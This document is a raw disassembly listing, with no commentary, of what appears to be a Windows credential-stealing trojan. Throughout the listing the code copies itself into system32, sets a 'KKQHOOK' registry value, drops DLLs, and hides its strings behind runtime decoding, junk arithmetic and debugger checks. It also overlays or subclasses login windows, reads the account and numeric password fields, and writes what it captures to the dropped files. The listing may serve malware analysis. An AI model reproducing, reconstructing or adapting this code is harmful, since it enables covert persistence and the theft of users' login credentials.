		push	offset aGmGXix	; "Õƒ¬ÕƒÞ•ˆ•"
		call	sub_40129C
		lea	edi, [ebp+var_2D]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		lea	edi, [ebp+var_270]
		push	edi
		call	sub_40C6B0
		push	0
		lea	eax, [ebp+var_270]
		push	eax
		lea	eax, [ebp+var_45C]
		push	eax
		call	sub_40C284	; CopyFileA
		call	sub_40C188	; GetCurrentProcessId
		lea	eax, [ebp+var_2D]
		push	eax
		call	sub_403D6F
		lea	edi, [ebp+var_799]
		lea	esi, a82q0vu	; "82Q0vu "
		movsd
		movsd
		mov	[ebp+var_5C], 1Ch
		push	4
		push	4
		lea	eax, [ebp+var_5C]
		push	eax
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aSoftwareMicros ; "Software\\Microsoft\\Windows"
		push	80000001h
		call	sub_4015C0
		add	esp, 34h
		push	0
		lea	eax, [ebp+var_270]
		push	eax
		call	sub_40C3A4	; WinExec
		mov	[ebp+var_272], 2CCAh
		sub	[ebp+var_272], 6825h
		call	sub_4042A4
		call	sub_40C224	; GetVersion
		mov	eax, 13h
		sub	eax, dword_43B098
		push	eax
		call	sub_40C164	; ExitProcess
		call	sub_40C1B8	; RtlGetLastWin32Error


loc_40A848:				; CODE XREF: sub_40A4E2+1E3j
		push	5
		push	offset aGmG	; "Õƒ¬Õƒ"
		call	sub_40129C
		push	offset aKkq32_dll ; "kkq32.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		push	offset dword_41EAD0
		call	sub_40C6B0
		call	sub_40C194	; GetCurrentThreadId
		push	5
		push	offset aGmG	; "Õƒ¬Õƒ"
		call	sub_40129C
		push	offset aDnkkq_dll ; "dnkkq.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		push	offset dword_40F1F0
		call	sub_40C6B0
		push	5
		push	offset aGmG	; "Õƒ¬Õƒ"
		call	sub_40129C
		push	offset aDatkkq32_dll ; "datkkq32.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	eax
		push	offset dword_40DFD0
		call	sub_40C6B0
		lea	edi, [ebp+var_79A]
		lea	esi, byte_445A3B
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	0FFh
		push	offset dword_413CB0
		call	sub_40C248	; GetWindowsDirectoryA
		lea	edi, [ebp+var_7A0]
		lea	esi, aDsh_i	; "DSH.i"
		mov	ecx, 3
		rep movsw
		push	9
		push	offset aMtqqdGig ; "¬’ŸŸ„Þƒ‰ƒ"
		call	sub_40129C
		push	eax
		push	offset dword_413CB0
		call	sub_40C6D4
		call	sub_40C2B4	; IsDebuggerPresent
		lea	eax, aKkqhook	; "KKQHOOK"
		mov	[ebp+var_31], eax
		mov	[ebp+var_273], 82h
		movzx	eax, [ebp+var_273]
		imul	eax, 3CB4h
		mov	[ebp+var_273], al
		mov	eax, ds:dword_41D928
		mov	[ebp+var_45], eax
		lea	eax, sub_40ADF7
		mov	[ebp+var_51], eax
		push	7F00h
		push	0
		call	sub_40C440	; LoadCursorA
		mov	[ebp+var_3D], eax
		lea	edi, [ebp+var_7A3]
		lea	esi, aX_	; "X."
		mov	ecx, 3
		rep movsb
		push	7F03h
		push	0
		call	sub_40C44C	; LoadIconA
		mov	[ebp+var_41], eax
		and	[ebp+var_35], 0
		push	0
		call	sub_40C548	; GetStockObject
		mov	[ebp+var_39], eax
		mov	[ebp+var_55], 3
		and	[ebp+var_4D], 0
		and	[ebp+var_49], 0
		lea	eax, [ebp+var_55]
		push	eax
		call	sub_40C464	; RegisterClassA
		call	sub_40C188	; GetCurrentProcessId
		push	0
		push	ds:dword_41D928
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0CA0000h
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aKkqhook	; "KKQHOOK"
		push	0
		call	sub_40C50C	; CreateWindowExA
		mov	ds:dword_41B7D0, eax
		call	sub_40C188	; GetCurrentProcessId
		push	offset aKkqhook_28 ; "KKQHOOK_28"
		push	0
		push	0
		call	sub_40C344	; CreateMutexA
		lea	edi, [ebp+var_7A8]
		lea	esi, aGp	; "%gp&"
		mov	ecx, 5
		rep movsb
		push	2
		call	sub_402B12
		add	esp, 5Ch
		mov	[ebp+var_274], 0C8h
		movzx	eax, [ebp+var_274]
		imul	eax, 783h
		mov	[ebp+var_274], al
		call	sub_40C224	; GetVersion
		cmp	eax, 80000000h
		jb	short loc_40AA6E
		lea	edi, [ebp+var_7B9]
		lea	esi, byte_445A4A
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	0Ch
		push	offset aIxvuxF	; "›•‚ž•œÃÂÞ”œœ"
		call	sub_40129C
		push	eax
		call	sub_40C1D0	; GetModuleHandleA
		mov	edi, eax
		push	16h
		push	offset aVxcsgdxvgxvjsu ; "¢•—™ƒ„•‚£•‚†™“• ‚Ÿ“•ƒƒ"
		call	sub_40129C
		add	esp, 10h
		push	eax
		push	edi
		call	sub_40C1E8	; GetProcAddress
		mov	[ebp+var_7B8], eax
		call	sub_40C188	; GetCurrentProcessId
		mov	edi, 13h
		sub	edi, dword_43B098
		push	edi
		push	eax
		call	[ebp+var_7B8]


loc_40AA6E:				; CODE XREF: sub_40A4E2+531j
		lea	edi, [ebp+var_7AB]
		lea	esi, aF		; " F"
		mov	ecx, 3
		rep movsb
		push	104h
		lea	eax, [ebp+var_568]
		push	eax
		push	0
		call	sub_40C1C4	; GetModuleFileNameA
		lea	eax, [ebp+var_568]
		push	eax
		call	sub_40352B
		mov	[ebp+var_276], 2E77h
		movzx	eax, [ebp+var_276]
		imul	eax, 7ED2h
		mov	[ebp+var_276], ax
		push	offset dword_41EAD0
		call	sub_40352B
		mov	[ebp+var_27C], 17Ah
		add	[ebp+var_27C], 7251h
		push	offset dword_40F1F0
		call	sub_40352B
		push	offset dword_40DFD0
		call	sub_40352B
		call	sub_40C2B4	; IsDebuggerPresent
		call	sub_40C188	; GetCurrentProcessId
		push	eax
		call	sub_4037D7
		lea	eax, [ebp+var_2E0]
		push	eax
		call	sub_403AC7
		call	sub_40C2B4	; IsDebuggerPresent
		and	[ebp+var_348], 0
		mov	[ebp+var_34C], 64h
		mov	[ebp+var_350], 5178h
		inc	[ebp+var_350]
		push	45h
		push	offset aGqcdzsvxmSuv_0 ; "£Ÿ–„‡‘‚•¬½™“‚ŸƒŸ–„¬§™ž”Ÿ‡ƒ¬³…‚‚•ž„¦•‚ƒ™"...
		call	sub_40129C
		lea	edi, [ebp+var_348]
		push	edi
		lea	edi, [ebp+var_34C]
		push	edi
		lea	edi, [ebp+var_344]
		push	edi
		lea	edi, [ebp+var_2E0]
		push	edi
		push	eax
		push	80000002h
		call	sub_4014AA
		push	1
		push	offset asc_445B3F ; "»"
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_344]
		push	edi
		call	sub_4038D6
		lea	edi, [ebp+var_7B0]
		lea	esi, aO?gv	; "O?g‚"
		mov	ecx, 5
		rep movsb
		push	1
		push	offset aJ	; "¦"
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_2E0]
		push	edi
		call	sub_4038D6
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	17h
		push	offset aGMGmUavqugxvjx ; "³¼£¹´¬Õƒ¬¹ž ‚Ÿ“£•‚†•‚ÃÂ"
		call	sub_40129C
		lea	edi, [ebp+var_344]
		push	edi
		push	eax
		lea	edi, [ebp+var_766]
		push	edi
		call	sub_40C6B0
		lea	eax, [ebp+var_348]
		push	eax
		lea	eax, [ebp+var_34C]
		push	eax
		lea	eax, [ebp+var_667]
		push	eax
		push	0
		lea	eax, [ebp+var_766]
		push	eax
		push	80000000h
		call	sub_4014AA
		mov	[ebp+var_5D], 5Eh
		movzx	eax, [ebp+var_5D]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_5D], al
		lea	eax, [ebp+var_667]
		push	eax
		call	sub_40352B
		call	sub_40C1F4	; GetProcessHeap
		call	sub_403BAD
		mov	[ebp+var_352], 748Ah
		inc	[ebp+var_352]
		push	offset sub_4081B0
		call	sub_408043
		add	esp, 8Ch
		mov	ebx, 641Ch
		mov	eax, ebx
		add	eax, ebx
		mov	ebx, eax
		lea	eax, [ebp+var_7B4]
		push	eax
		push	0
		push	0
		push	offset sub_4096E4
		push	0
		push	0
		call	sub_40C3D4	; CreateThread
		push	eax
		call	sub_40C1DC	; CloseHandle
		call	sub_40C218	; GetTickCount
		push	0
		mov	eax, dword_43B094
		add	eax, 1EDh
		push	eax
		mov	eax, 13h
		sub	eax, dword_43B098
		push	eax
		push	ds:dword_41B7D0
		call	sub_40C458	; SetTimer
		jmp	short loc_40ACBB
; ---------------------------------------------------------------------------


loc_40AC92:				; CODE XREF: sub_40A4E2+7EAj
		mov	ax, word_445A53
		mov	word ptr [ebp+var_7B8+2], ax
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40C4C4	; TranslateMessage
		call	sub_40C224	; GetVersion
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40C4D0	; DispatchMessageA
		call	sub_40C218	; GetTickCount


loc_40ACBB:				; CODE XREF: sub_40A4E2+7AEj
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40C47C	; GetMessageA
		or	eax, eax
		jnz	short loc_40AC92
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40A4E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ACD5	proc near		; DATA XREF: sub_408C98+95Do
					; sub_408C98+98Fo ...

var_18		= byte ptr -18h
var_12		= word ptr -12h
var_9		= byte ptr -9
var_8		= word ptr -8
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C1B8	; RtlGetLastWin32Error
		mov	eax, [ebp+arg_4]
		cmp	eax, 100h
		jz	short loc_40ACF7
		jmp	short loc_40AD66
; ---------------------------------------------------------------------------
		call	sub_40C224	; GetVersion


loc_40ACF7:				; CODE XREF: sub_40ACD5+19j
		cmp	[ebp+arg_8], 9
		jnz	short loc_40AD66
		cmp	ebx, ds:dword_41076C
		jnz	short loc_40AD10
		push	ds:dword_431E90
		call	sub_40C428	; SetFocus


loc_40AD10:				; CODE XREF: sub_40ACD5+2Ej
		lea	edi, [ebp+var_18]
		lea	esi, aLwld	; "lwld%"
		mov	ecx, 3
		rep movsw
		cmp	ebx, ds:dword_431E90
		jnz	short loc_40AD34
		push	ds:dword_41D920
		call	sub_40C428	; SetFocus


loc_40AD34:				; CODE XREF: sub_40ACD5+52j
		mov	[ebp+var_12], 4C4Ah
		sub	[ebp+var_12], 1DDAh
		cmp	ebx, ds:dword_41D920
		jnz	short loc_40AD53
		push	ds:dword_41D918
		call	sub_40C428	; SetFocus


loc_40AD53:				; CODE XREF: sub_40ACD5+71j
		cmp	ebx, ds:dword_41D918
		jnz	short loc_40AD66
		push	ds:dword_431E90
		call	sub_40C428	; SetFocus


loc_40AD66:				; CODE XREF: sub_40ACD5+1Bj
					; sub_40ACD5+26j ...
		and	[ebp+var_4], 0
		cmp	ebx, ds:dword_431E90
		jnz	short loc_40AD7A
		mov	eax, ds:dword_41EAC4
		mov	[ebp+var_4], eax


loc_40AD7A:				; CODE XREF: sub_40ACD5+9Bj
		lea	edi, [ebp+var_9]
		lea	esi, byte_445A5B
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	ebx, ds:dword_41D920
		jnz	short loc_40AD98
		mov	eax, ds:dword_41D91C
		mov	[ebp+var_4], eax


loc_40AD98:				; CODE XREF: sub_40ACD5+B9j
		mov	[ebp+var_5], 67h
		add	[ebp+var_5], 1
		cmp	ebx, ds:dword_41076C
		jnz	short loc_40ADB0
		mov	eax, ds:dword_40DFBC
		mov	[ebp+var_4], eax


loc_40ADB0:				; CODE XREF: sub_40ACD5+D1j
		mov	[ebp+var_8], 6975h
		add	[ebp+var_8], 5422h
		cmp	ebx, ds:dword_41D918
		jnz	short loc_40ADCC
		mov	eax, ds:dword_413C94
		mov	[ebp+var_4], eax


loc_40ADCC:				; CODE XREF: sub_40ACD5+EDj
		call	sub_40C2B4	; IsDebuggerPresent
		cmp	[ebp+var_4], 0
		jz	short loc_40ADEB
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		push	[ebp+var_4]
		call	sub_40C53C	; CallWindowProcA
		jmp	short loc_40ADF0
; ---------------------------------------------------------------------------


loc_40ADEB:				; CODE XREF: sub_40ACD5+100j
		call	sub_40C188	; GetCurrentProcessId


loc_40ADF0:				; CODE XREF: sub_40ACD5+114j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40ACD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADF7	proc near		; DATA XREF: sub_40A4E2+449o

var_26B		= byte ptr -26Bh
var_26A		= dword	ptr -26Ah
var_266		= dword	ptr -266h
var_262		= dword	ptr -262h
var_25E		= dword	ptr -25Eh
var_25A		= dword	ptr -25Ah
var_256		= dword	ptr -256h
var_252		= dword	ptr -252h
var_24E		= dword	ptr -24Eh
var_24A		= byte ptr -24Ah
var_249		= byte ptr -249h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= byte ptr -23Ch
var_237		= byte ptr -237h
var_138		= byte ptr -138h
var_133		= byte ptr -133h
var_12D		= byte ptr -12Dh
var_126		= dword	ptr -126h
var_122		= dword	ptr -122h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_112		= word ptr -112h
var_110		= word ptr -110h
var_10D		= byte ptr -10Dh
var_10C		= dword	ptr -10Ch
var_106		= word ptr -106h
var_103		= byte ptr -103h
var_102		= byte ptr -102h
var_101		= byte ptr -101h
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		mov	ax, word_445A5C
		mov	[ebp+var_2], ax
		mov	eax, [ebp+arg_4]
		cmp	eax, 10h
		jz	loc_40AFEC
		jg	short loc_40AE29
		cmp	eax, 2
		jz	loc_40AFD2
		jmp	loc_40B66D
; ---------------------------------------------------------------------------


loc_40AE29:				; CODE XREF: sub_40ADF7+22j
		cmp	eax, 111h
		jz	loc_40B0DC
		cmp	eax, 113h
		jz	short loc_40AE5B
		cmp	eax, 111h
		jl	loc_40B66D
		cmp	eax, 138h
		jz	loc_40B008
		jmp	loc_40B66D
; ---------------------------------------------------------------------------
		call	sub_40C194	; GetCurrentThreadId


loc_40AE5B:				; CODE XREF: sub_40ADF7+42j
		call	sub_40C194	; GetCurrentThreadId
		cmp	dword_43B218, 0
		jz	loc_40AF71
		call	sub_40C218	; GetTickCount
		push	9
		push	offset aQuTXud	; "´Ÿ“¿’š•“„"
		call	sub_40129C
		push	eax
		push	dword_43B218
		call	sub_408BEF
		mov	[ebp+var_240], eax
		push	8
		push	offset aIaQvxv	; "µˆ€œŸ‚•‚"
		call	sub_40129C
		push	eax
		push	[ebp+var_240]
		call	sub_408BEF
		add	esp, 20h
		mov	[ebp+var_244], eax
		lea	edi, [ebp+var_24A]
		lea	esi, aE_2	; "~ E-	"
		mov	ecx, 3
		rep movsw
		lea	eax, [ebp+var_25A]
		push	eax
		push	[ebp+var_244]
		call	sub_40C3F8	; GetWindowRect
		or	eax, eax
		jz	loc_40AF71
		call	sub_40C188	; GetCurrentProcessId
		lea	eax, [ebp+var_26A]
		push	eax
		push	ds:dword_41EBD4
		call	sub_40C3F8	; GetWindowRect
		or	eax, eax
		jz	short loc_40AF71
		mov	eax, [ebp+var_252]
		sub	eax, [ebp+var_25A]
		sub	eax, 4
		mov	edx, [ebp+var_262]
		sub	edx, [ebp+var_26A]
		cmp	eax, edx
		jnz	short loc_40AF38
		mov	eax, [ebp+var_24E]
		sub	eax, [ebp+var_256]
		sub	eax, 4
		mov	edx, [ebp+var_25E]
		sub	edx, [ebp+var_266]
		cmp	eax, edx
		jz	short loc_40AF71


loc_40AF38:				; CODE XREF: sub_40ADF7+120j
		mov	[ebp+var_26B], 28h
		add	[ebp+var_26B], 6Ah
		push	1
		mov	eax, [ebp+var_24E]
		sub	eax, [ebp+var_256]
		push	eax
		mov	eax, [ebp+var_252]
		sub	eax, [ebp+var_25A]
		push	eax
		push	0
		push	0
		push	ds:dword_41EBD4
		call	sub_40C524	; MoveWindow


loc_40AF71:				; CODE XREF: sub_40ADF7+70j
					; sub_40ADF7+E2j ...
		cmp	dword_43B214, 0
		jz	loc_40B685
		lea	edi, [ebp+var_249]
		lea	esi, aZmm	; "ZmM&"
		mov	ecx, 5
		rep movsb
		mov	eax, dword_43B214
		mov	dword_43B218, eax
		mov	[ebp+var_240], 87Eh
		sub	[ebp+var_240], 23C2h
		and	dword_43B214, 0
		push	eax
		call	sub_408C98
		pop	ecx
		mov	[ebp+var_244], 2DE6h
		inc	[ebp+var_244]
		jmp	loc_40B685
; ---------------------------------------------------------------------------


loc_40AFD2:				; CODE XREF: sub_40ADF7+27j
		mov	eax, ds:dword_41B7D0
		cmp	[ebp+arg_0], eax
		jnz	loc_40B685
		push	0
		call	sub_40C4F4	; PostQuitMessage
		jmp	loc_40B685
; ---------------------------------------------------------------------------


loc_40AFEC:				; CODE XREF: sub_40ADF7+1Cj
		mov	eax, ds:dword_41B7D0
		cmp	[ebp+arg_0], eax
		jnz	short loc_40AFFE
		push	[ebp+arg_0]
		call	sub_40C518	; DestroyWindow


loc_40AFFE:				; CODE XREF: sub_40ADF7+1FDj
		call	sub_40C1B8	; RtlGetLastWin32Error
		jmp	loc_40B685
; ---------------------------------------------------------------------------


loc_40B008:				; CODE XREF: sub_40ADF7+54j
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_11C], eax
		cmp	eax, ds:dword_431E88
		jz	short loc_40B045
		cmp	eax, ds:dword_413C98
		jz	short loc_40B045
		cmp	eax, ds:dword_41A6B4
		jz	short loc_40B045
		cmp	eax, ds:dword_434148
		jz	short loc_40B045
		cmp	eax, ds:dword_431E8C
		jz	short loc_40B045
		cmp	eax, ds:dword_43937C
		jnz	loc_40B685


loc_40B045:				; CODE XREF: sub_40ADF7+220j
					; sub_40ADF7+228j ...
		call	sub_40C218	; GetTickCount
		mov	eax, [ebp+var_11C]
		cmp	eax, ds:dword_431E8C
		jz	short loc_40B060
		cmp	eax, ds:dword_43937C
		jnz	short loc_40B06F


loc_40B060:				; CODE XREF: sub_40ADF7+25Fj
		push	1010B0h
		push	[ebp+arg_8]
		call	sub_40C560	; SetTextColor
		jmp	short loc_40B079
; ---------------------------------------------------------------------------


loc_40B06F:				; CODE XREF: sub_40ADF7+267j
		push	0
		push	[ebp+arg_8]
		call	sub_40C560	; SetTextColor


loc_40B079:				; CODE XREF: sub_40ADF7+276j
		mov	byte ptr [ebp+var_240+3], 68h
		sub	byte ptr [ebp+var_240+3], 8Fh
		push	0FFFFFFh
		push	[ebp+arg_8]
		call	sub_40C554	; SetBkColor
		mov	byte ptr [ebp+var_240+2], 0CEh
		add	byte ptr [ebp+var_240+2], 93h
		and	[ebp+var_252+2], 0
		and	[ebp+var_24E+2], 0
		lea	eax, [ebp+var_252+2]
		push	eax
		call	sub_40C56C	; CreateBrushIndirect
		mov	[ebp+var_244], eax
		call	sub_40C188	; GetCurrentProcessId
		mov	eax, [ebp+var_244]
		jmp	loc_40B685
; ---------------------------------------------------------------------------
		call	sub_40C188	; GetCurrentProcessId
		jmp	loc_40B685
; ---------------------------------------------------------------------------


loc_40B0DC:				; CODE XREF: sub_40ADF7+37j
		mov	ax, word_445A69
		mov	[ebp+var_11E], ax
		push	2
		push	offset aG	; "Õƒ"
		call	sub_40129C
		push	offset byte_432F80
		push	eax
		lea	edi, [ebp+var_237]
		push	edi
		call	sub_40C6B0
		add	esp, 14h
		call	sub_40C188	; GetCurrentProcessId
		push	0FFh
		lea	eax, [ebp+var_101]
		push	eax
		push	ds:dword_431E90
		call	sub_40C3EC	; GetWindowTextA
		call	sub_40C188	; GetCurrentProcessId
		cmp	[ebp+var_101], 0
		jnz	short loc_40B190
		mov	[ebp+var_240], 7D06h
		add	[ebp+var_240], 5863h
		push	1Fh
		push	offset aAXsgxGxXudIasv ; " œ•‘ƒ•ÜЃ•œ•“„еˆ€™‚‘„™ŸžÐ½Ÿž„˜"
		call	sub_40129C
		add	esp, 8
		push	0
		push	0
		push	eax
		push	0
		call	sub_40C470	; MessageBoxA
		push	ds:dword_431E90
		call	sub_40C428	; SetFocus
		mov	word ptr [ebp+var_244+2], 0B5h
		movzx	eax, word ptr [ebp+var_244+2]
		imul	eax, 0C2Fh
		mov	word ptr [ebp+var_244+2], ax
		jmp	loc_40B685
; ---------------------------------------------------------------------------


loc_40B190:				; CODE XREF: sub_40ADF7+33Bj
		push	5
		push	offset aGG_1	; "ÕƒÐÕƒ"
		call	sub_40129C
		lea	edi, [ebp+var_101]
		push	edi
		lea	edi, [ebp+var_237]
		push	edi
		push	eax
		lea	edi, [ebp+var_237]
		push	edi
		call	sub_40C6B0
		add	esp, 18h
		mov	[ebp+var_106], 5E8Eh
		movzx	eax, [ebp+var_106]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_106], ax
		push	0FFh
		lea	eax, [ebp+var_101]
		push	eax
		push	ds:dword_41D920
		call	sub_40C3EC	; GetWindowTextA
		call	sub_40C188	; GetCurrentProcessId
		cmp	[ebp+var_101], 0
		jnz	short loc_40B24B
		mov	[ebp+var_240], 2605h
		inc	[ebp+var_240]
		push	1Eh
		push	offset aAXsgxGxXudIa_0 ; " œ•‘ƒ•ÜЃ•œ•“„еˆ€™‚‘„™ŸžÐ©•‘‚"
		call	sub_40129C
		add	esp, 8
		push	0
		push	0
		push	eax
		push	0
		call	sub_40C470	; MessageBoxA
		mov	[ebp+var_244], 3322h
		sub	[ebp+var_244], 4451h
		push	ds:dword_41D920
		call	sub_40C428	; SetFocus
		jmp	loc_40B685
; ---------------------------------------------------------------------------


loc_40B24B:				; CODE XREF: sub_40ADF7+403j
		push	5
		push	offset aGG_2	; "ÕƒÝÕƒ"
		call	sub_40129C
		lea	edi, [ebp+var_101]
		push	edi
		lea	edi, [ebp+var_237]
		push	edi
		push	eax
		lea	edi, [ebp+var_237]
		push	edi
		call	sub_40C6B0
		add	esp, 18h
		push	0FFh
		lea	eax, [ebp+var_101]
		push	eax
		push	ds:dword_41D918
		call	sub_40C3EC	; GetWindowTextA
		call	sub_40C2B4	; IsDebuggerPresent
		cmp	[ebp+var_101], 0
		jz	loc_40B3E9
		mov	[ebp+var_10C], 6C42h
		inc	[ebp+var_10C]
		lea	ecx, [ebp+var_101]
		or	eax, 0FFFFFFFFh


loc_40B2B7:				; CODE XREF: sub_40ADF7+4C5j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B2B7
		cmp	eax, 4
		jb	loc_40B3E9
		mov	[ebp+var_10D], 19h
		sub	[ebp+var_10D], 84h
		mov	[ebp+var_103], 0
		jmp	short loc_40B300
; ---------------------------------------------------------------------------


loc_40B2DE:				; CODE XREF: sub_40ADF7+522j
		movzx	eax, [ebp+var_103]
		mov	al, [ebp+eax+var_101]
		cmp	al, 30h
		jl	short loc_40B2F4
		cmp	al, 39h
		jle	short loc_40B2F9


loc_40B2F4:				; CODE XREF: sub_40ADF7+4F7j
		jmp	loc_40B3E9
; ---------------------------------------------------------------------------


loc_40B2F9:				; CODE XREF: sub_40ADF7+4FBj
		add	[ebp+var_103], 1


loc_40B300:				; CODE XREF: sub_40ADF7+4E5j
		lea	ecx, [ebp+var_101]
		or	eax, 0FFFFFFFFh


loc_40B309:				; CODE XREF: sub_40ADF7+517j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B309
		movzx	esi, [ebp+var_103]
		cmp	esi, eax
		jb	short loc_40B2DE
		mov	eax, dword_445A6B
		mov	[ebp+var_122], eax
		mov	[ebp+var_102], 0
		jmp	loc_40B3C8
; ---------------------------------------------------------------------------


loc_40B332:				; CODE XREF: sub_40ADF7+5EAj
		mov	word ptr [ebp+var_240],	342Dh
		inc	word ptr [ebp+var_240]
		mov	byte ptr [ebp+var_244+3], 59h
		add	byte ptr [ebp+var_244+3], 0D3h
		mov	al, [ebp+var_102]
		mov	byte ptr [ebp+var_240+3], al
		jmp	short loc_40B387
; ---------------------------------------------------------------------------


loc_40B35E:				; CODE XREF: sub_40ADF7+5A9j
		movzx	eax, byte ptr [ebp+var_240+3]
		movsx	eax, [ebp+eax+var_101]
		movzx	edx, [ebp+var_102]
		movsx	edx, [ebp+edx+var_101]
		cmp	eax, edx
		jnz	short loc_40B3A2
		add	byte ptr [ebp+var_240+3], 1


loc_40B387:				; CODE XREF: sub_40ADF7+565j
		lea	ecx, [ebp+var_101]
		or	eax, 0FFFFFFFFh


loc_40B390:				; CODE XREF: sub_40ADF7+59Ej
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B390
		movzx	esi, byte ptr [ebp+var_240+3]
		cmp	esi, eax
		jb	short loc_40B35E


loc_40B3A2:				; CODE XREF: sub_40ADF7+587j
		call	sub_40C224	; GetVersion
		movzx	eax, byte ptr [ebp+var_240+3]
		movzx	edx, [ebp+var_102]
		sub	eax, edx
		cmp	eax, 3
		jg	short loc_40B3E9
		call	sub_40C1F4	; GetProcessHeap
		add	[ebp+var_102], 1


loc_40B3C8:				; CODE XREF: sub_40ADF7+536j
		lea	ecx, [ebp+var_101]
		or	eax, 0FFFFFFFFh


loc_40B3D1:				; CODE XREF: sub_40ADF7+5DFj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B3D1
		movzx	esi, [ebp+var_102]
		cmp	esi, eax
		jb	loc_40B332
		jmp	short loc_40B452
; ---------------------------------------------------------------------------


loc_40B3E9:				; CODE XREF: sub_40ADF7+4A1j
					; sub_40ADF7+4CAj ...
		mov	eax, dword_43B094
		add	eax, 7C9h
		push	eax
		call	sub_40C638
		push	35h
		push	offset aEustXDqSedsq_0 ; "¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•ÐÝй¾³¿¢¢µ³¤Ð ¹¾ÞРœ"...
		call	sub_40129C
		mov	[ebp+var_240], eax
		push	13h
		push	offset aEustXDqSedsq_1 ; "¥ž‘’œ•ЄŸÐ‘…„˜Ÿ‚™Š•"
		call	sub_40129C
		add	esp, 14h
		push	0
		push	eax
		mov	edi, [ebp+var_240]
		push	edi
		push	0
		call	sub_40C470	; MessageBoxA
		call	sub_40C188	; GetCurrentProcessId
		push	ds:dword_41D918
		call	sub_40C428	; SetFocus
		mov	[ebp+var_110], 1277h
		sub	[ebp+var_110], 3172h
		jmp	loc_40B685
; ---------------------------------------------------------------------------


loc_40B452:				; CODE XREF: sub_40ADF7+5F0j
		push	5
		push	offset aGG_1	; "ÕƒÐÕƒ"
		call	sub_40129C
		lea	edi, [ebp+var_101]
		push	edi
		lea	edi, [ebp+var_237]
		push	edi
		push	eax
		lea	edi, [ebp+var_237]
		push	edi
		call	sub_40C6B0
		add	esp, 18h
		mov	eax, dword_445A6F
		mov	[ebp+var_126], eax
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_41EAD0
		call	sub_40C2FC	; CreateFileA
		mov	[ebp+var_118], eax
		call	sub_40C1B8	; RtlGetLastWin32Error
		push	2
		push	0
		push	0
		push	[ebp+var_118]
		call	sub_40C32C	; SetFilePointer
		lea	edi, [ebp+var_12D]
		lea	esi, aFna@	; "FnA@	:"
		mov	ecx, 7
		rep movsb
		lea	ecx, [ebp+var_237]
		or	eax, 0FFFFFFFFh


loc_40B4D8:				; CODE XREF: sub_40ADF7+6E6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B4D8
		push	0
		lea	esi, [ebp+var_23C]
		push	esi
		push	eax
		lea	edi, [ebp+var_237]
		push	edi
		push	[ebp+var_118]
		call	sub_40C3B0	; WriteFile
		mov	[ebp+var_112], 529Ah
		movzx	eax, [ebp+var_112]
		imul	eax, 37Dh
		mov	[ebp+var_112], ax
		push	2
		push	offset word_445A8A
		call	sub_40129C
		add	esp, 8
		push	0
		lea	edi, [ebp+var_23C]
		push	edi
		mov	edi, 14h
		sub	edi, dword_43B098
		push	edi
		push	eax
		push	[ebp+var_118]
		call	sub_40C3B0	; WriteFile
		call	sub_40C2B4	; IsDebuggerPresent
		push	[ebp+var_118]
		call	sub_40C1DC	; CloseHandle
		lea	edi, [ebp+var_133]
		lea	esi, a2z	; "<2Z !"
		mov	ecx, 6
		rep movsb
		push	ds:dword_41EBD4
		call	sub_40C518	; DestroyWindow
		mov	[ebp+var_113], 2Eh
		movzx	eax, [ebp+var_113]
		imul	eax, 3E50h
		mov	[ebp+var_113], al
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_40F1F0
		call	sub_40C2FC	; CreateFileA
		mov	[ebp+var_118], eax
		call	sub_40C188	; GetCurrentProcessId
		push	2
		push	0
		push	0
		push	[ebp+var_118]
		call	sub_40C32C	; SetFilePointer
		mov	[ebp+var_114], 0F2h
		movzx	eax, [ebp+var_114]
		imul	eax, 31E1h
		mov	[ebp+var_114], al
